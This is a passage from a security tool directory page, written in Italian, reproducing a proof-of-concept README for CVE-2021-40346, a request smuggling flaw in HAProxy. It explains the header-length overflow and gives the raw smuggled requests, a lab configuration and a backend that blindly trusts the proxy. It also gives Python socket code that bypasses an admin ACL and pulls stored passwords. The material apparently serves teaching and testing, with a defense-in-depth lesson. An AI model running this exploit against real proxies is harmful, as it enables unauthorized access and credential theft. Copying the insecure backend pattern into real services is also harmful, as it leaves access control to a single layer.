Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/boianeduard/cve-2021-40346
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingApprendimento e Formazione
GitHubboianeduard/cve-2021-40346

CVE-2021-40346

Contrabbando di richieste HTTP

Vedi Repository
15 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-40346: HAProxy HTTP Request Smuggling - Bypass ACL

Panoramica

Questo progetto dimostra CVE-2021-40346, una vulnerabilità critica di integer overflow in HAProxy che consente attacchi di HTTP Request Smuggling per aggirare i controlli di sicurezza.

Punteggio CVSSv3: 7.5 (Alto)

Collaboratori:

  1. Boian Eduard
  2. Borsos Matheas-Roland

Cos'è CVE-2021-40346?

CVE-2021-40346 è una vulnerabilità di integer overflow nella logica di parsing degli header HTTP di HAProxy. Quando il nome di un header supera i 255 byte, il valore della lunghezza trabocca da un campo a 8 bit, causando un'errata interpretazione dell'header durante l'inoltro della richiesta.

Come funziona l'attacco

Analisi passo-passo

  1. L'attaccante invia: Nome header = "Content-Length0" + 255×'a' = 270 byte

  2. Fase 1 (Parsing iniziale):

    • HAProxy legge tutti i 270 byte del nome dell'header
    • Memorizza (overflow a 8 bit)
Scarica lo strumento
name_length = 270 % 256 = 14
  • Il bit di overflow imposta value_length = 1
  • Legge il legittimo header Content-Length: 60 e lo tratta come lunghezza del corpo
  • Legge 60 byte come corpo della richiesta (contenente la richiesta contrabbandata)
  • Fase 2 (Inoltro della richiesta):

    • Incontra il blocco dell'header traboccato
    • Legge solo i primi 14 caratteri: "Content-Length"
    • Legge 1 carattere per il valore (alla posizione 14): "0"
    • Aggiunge content-length: 0 alla richiesta inoltrata
    • Ignora il vero header Content-Length: 60 (come da logica normale)
  • Elaborazione del backend:

    • Riceve content-length: 0 da HAProxy
    • Analizza una richiesta POST senza corpo
    • Tratta il "corpo" (richiesta GET contrabbandata) come la successiva richiesta HTTP
    • Elabora la richiesta contrabbandata, bypassando tutte le ACL di HAProxy

  • Esempio del flusso dell'attacco

    Bypass delle regole ACL per accedere all'endpoint admin

    Considera HAProxy configurato con regole ACL che limitano l'accesso alle route admin:

    root@kitploit:~
    http-request deny if { path_beg /users/admin }
    

    Nel nostro PoC, utilizziamo una sessione utente normale (alice) per accedere all'endpoint protetto /users/admin che dovrebbe essere accessibile solo agli amministratori.

    Richiesta malevola (Richiesta 1 - Veleno):

    root@kitploit:~
    POST / HTTP/1.1
    Host: 127.0.0.1:8080
    Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
    Content-Length: 78
    
    GET /users/admin HTTP/1.1
    Cookie: session=alice_session_token
    DUMMY:
    

    Richiesta inoltrata da HAProxy:

    root@kitploit:~
    POST / HTTP/1.1
    host: 127.0.0.1:8080
    content-length: 0
    x-forwarded-for: 192.168.188.1
    
    GET /users/admin HTTP/1.1
    Cookie: session=alice_session_token
    DUMMY:
    

    Richiesta di completamento (Richiesta 2):

    root@kitploit:~
    GET / HTTP/1.1
    Host: 127.0.0.1:8080
    
    

    Richiesta contrabbandata completa elaborata dal backend:

    root@kitploit:~
    GET /users/admin HTTP/1.1
    Cookie: session=alice_session_token
    DUMMY:GET / HTTP/1.1
    Host: 127.0.0.1:8080
    
    

    Risultato:

    1. HAProxy inoltra POST / con content-length: 0 (l'ACL vede una route sicura)
    2. Il backend elabora POST / (nessun corpo) e attende la prossima richiesta
    3. Il backend tratta la GET /users/admin incompleta contrabbandata come richiesta in sospeso
    4. La Richiesta 2 completa la richiesta contrabbandata
    5. Il backend elabora GET /users/admin con la sessione di alice, bypassando l'ACL di HAProxy
    6. La risposta contenente i segreti dell'admin viene restituita all'attaccante

    Prova di concetto

    Setup dell'ambiente di test

    Configurazione HAProxy (haproxy.cfg)

    L'istanza vulnerabile di HAProxy è configurata con regole ACL per proteggere l'endpoint admin:

    root@kitploit:~
    ...
        # ACL per rilevare l'accesso all'endpoint admin
        acl is_admin_endpoint path_beg /users/admin
        
        # ACL per verificare il cookie di sessione admin
        acl has_admin_session cook(session) -m beg admin_
        
        # Negare l'accesso all'endpoint admin se l'utente non ha una sessione admin
        http-request deny if is_admin_endpoint !has_admin_session
    ...
    

    Punti chiave:

    • Protezione ACL: /users/admin è bloccato a meno che il cookie di sessione non inizi con admin_
    • HTTP Keep-Alive (default): HAProxy utilizza la modalità keep-alive di default, riutilizzando le connessioni TCP verso il backend - questo è critico per l'attacco poiché consente più richieste sulla stessa connessione
    • Controllo degli accessi basato su sessione: Gli utenti normali (sessione che inizia con user_) vengono negati

    Server backend (Flask)

    Il server backend ha tre utenti e un endpoint admin:

    root@kitploit:~
    USERS = [
        {'id': 1, 'username': 'alice', 'password': 'alice123', 'role': 'user'},
        {'id': 2, 'username': 'bob', 'password': 'bob456', 'role': 'user'},
        {'id': 3, 'username': 'admin', 'password': 'admin_secret', 'role': 'admin'},
    ]
    
    @app.route('/login', methods=['POST'])
    def login():
        # ... logica di autenticazione ...
        
        # Genera token di sessione con prefisso del ruolo
        prefix = 'admin_' if user['role'] == 'admin' else 'user_'
        token = prefix + secrets.token_hex(16)
        
        resp.set_cookie('session', token, httponly=True)
        return resp
    
    @app.route('/users/admin', methods=['GET', 'POST'])
    def users_admin():
        # Restituisce dati sensibili incluse tutte le password degli utenti
        rows = ''.join([
            f"{u['id']} | {u['username']} | {u['email']} | "
            f"{u['password']} | {u['role']}" 
            for u in USERS
        ])
        
        return f"PANNIELLO ADMIN{printable_text}Tutti gli utenti con password:{rows}"
    

    Modello di sicurezza:

    • Alice (utente normale) ottiene sessione: user_a1b2c3d4...
    • Admin ottiene sessione: admin_a1b2c3d4...
    • HAProxy blocca le richieste di alice verso /users/admin
    • Errata configurazione del backend: Il server Flask si fida ciecamente che HAProxy abbia già applicato il controllo degli accessi, e non convalida nuovamente il token di sessione né verifica se l'utente è effettivamente un admin prima di servire dati sensibili
    • Vulnerabilità: Lo smuggling HTTP bypassa il controllo ACL di HAProxy, e il backend non ha difesa in profondità

    Perché funziona:

    1. HAProxy vede la richiesta esterna POST / (consentita)
    2. HAProxy controlla le ACL su POST / (nessuna restrizione admin)
    3. HAProxy inoltra content-length: 0 (a causa del bug di overflow)
    4. Il backend riceve la richiesta incompleta GET /users/admin
    5. La seconda richiesta la completa, bypassando il controllo ACL di HAProxy
    6. Il backend serve ciecamente l'endpoint admin - non controlla mai se il token di sessione è effettivamente un token admin
    7. Il backend elabora GET /users/admin direttamente, rivelando le password

    Lezione sulla difesa in profondità: Questo dimostra perché i backend non dovrebbero mai fidarsi ciecamente del proxy. Anche con le ACL di HAProxy in atto, il backend dovrebbe:

    • Analizzare e convalidare il token di sessione da solo
    • Controllare il ruolo/permessi dell'utente prima di servire endpoint sensibili
    • Implementare la propria logica di autorizzazione (es. decoratore @require_admin)

    Affidarsi esclusivamente ai controlli di accesso a livello di proxy crea un singolo punto di fallimento.

    Sequenze chiave dello sfruttamento

    Il PoC dimostra il bypass delle ACL di HAProxy per accedere a /users/admin utilizzando la sessione di un utente normale attraverso quattro passaggi chiave:

    1. Autenticazione come utente normale

    root@kitploit:~
    # Login come alice (utente non admin)
    body = "username=alice&password=alice123"
    login = f"POST /login HTTP/1.1\r\n" \
            f"Host: {TARGET}:{PORT}\r\n" \
            f"Content-Type: application/x-www-form-urlencoded\r\n" \
            f"Content-Length: {len(body)}\r\n\r\n{body}".encode()
    
    sock = socket.socket()
    sock.connect((TARGET, PORT))
    sock.sendall(login)
    time.sleep(0.5)
    
    # Ricevi risposta ed estrai token di sessione
    resp = b""
    while True:
        chunk = sock.recv(4096)
        if not chunk:
            break
        resp += chunk
    sock.close()
    
    session = resp.decode().split('session=')[1].split(';')[0]
    print(f"✓ Sessione: {session[:35]}...")
    

    Scopo:

    • Ottenere un token di sessione legittimo per un utente normale (alice)
    • Questa sessione normalmente non ha accesso all'endpoint /users/admin
    • Utilizzeremo questa sessione nella richiesta contrabbandata per bypassare le ACL

    2. Costruzione della richiesta contrabbandata (incompleta)

    root@kitploit:~
    # Crea richiesta contrabbandata incompleta che punta all'endpoint admin
    smuggled_incomplete = f"GET /users/admin HTTP/1.1\r\nCookie: session={session}\r\nDUMMY:"
    

    Dettagli critici:

    • Punta alla route protetta /users/admin
    • Utilizza la sessione utente legittima (alice)
    • Termina con l'header DUMMY: (nessun CRLF) per mantenere la richiesta incompleta
    • Il backend attenderà più dati prima di elaborare

    3. Costruzione della richiesta veleno

    root@kitploit:~
    # Crea header overflow (270 byte = 14 dopo overflow a 8 bit)
    overflow_header = "Content-Length0" + ("a" * 255)
    
    # Costruisci richiesta veleno completa
    poison = (
        f"POST / HTTP/1.1\r\n"
        f"Host: {TARGET}:{PORT}\r\n"
        f"{overflow_header}:\r\n"                    # Attiva integer overflow
        f"Content-Length: {len(smuggled_incomplete)}\r\n"  # Lunghezza reale del corpo
        f"\r\n"
        f"{smuggled_incomplete}"                     # Richiesta contrabbandata come "corpo"
    ).encode()
    

    Cosa succede:

    • Content-Length0aaa... (270 byte) trabocca a 14 byte
    • HAProxy Fase 2 legge i primi 14 caratteri: "Content-Length"
    • Valore alla posizione 14: "0"
    • HAProxy inoltra: content-length: 0
    • Il backend riceve la GET contrabbandata come richiesta in sospeso

    4. Invio delle richieste

    root@kitploit:~
    # Invia richiesta veleno
    sock = socket.socket()
    sock.connect((TARGET, PORT))
    sock.sendall(poison)
    time.sleep(1)
    resp1 = sock.recv(4096)  # Ricevi risposta POST /
    
    # Invia richiesta di completamento (completa la richiesta contrabbandata)
    completion = (
        f"GET / HTTP/1.1\r\n"
        f"Host: {TARGET}:{PORT}\r\n"
        f"\r\n"
    ).encode()
    
    sock.sendall(completion)
    time.sleep(2)
    
    # Cattura la risposta della richiesta contrabbandata
    all_data = b""
    sock.settimeout(5)
    try:
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            all_data += chunk
    except:
        pass
    sock.close()
    
    # Decodifica e verifica il successo
    text = all_data.decode('utf-8', errors='ignore')
    
    print(f"\n[RISULTATI] {len(all_data)} byte ricevuti")
    print("="*70)
    print(text)
    print("="*70)
    
    if "admin_secret" in text:
        print("\n✅ SUCCESSO! ACL DI HAPROXY BYPASSATA!")
        print("🔓 Password rubate visibili nella risposta sopra!")
    else:
        print("\n⚠️  Controlla i log del backend - lo smuggling funziona ma la cattura della risposta necessita di regolazioni")
    

    Flusso delle richieste:

    1. Veleno inviato → Il backend mette in buffer la GET /users/admin incompleta
    2. Completamento inviato → Concatenato alla richiesta contrabbandata, aggiungendo doppio CRLF
    3. Il backend elabora → GET /users/admin completa con la sessione di alice
    4. Risposta catturata → Tutti i dati ricevuti e decodificati in UTF-8
    5. Rilevamento successo → Verifica la presenza della parola chiave admin_secret nella risposta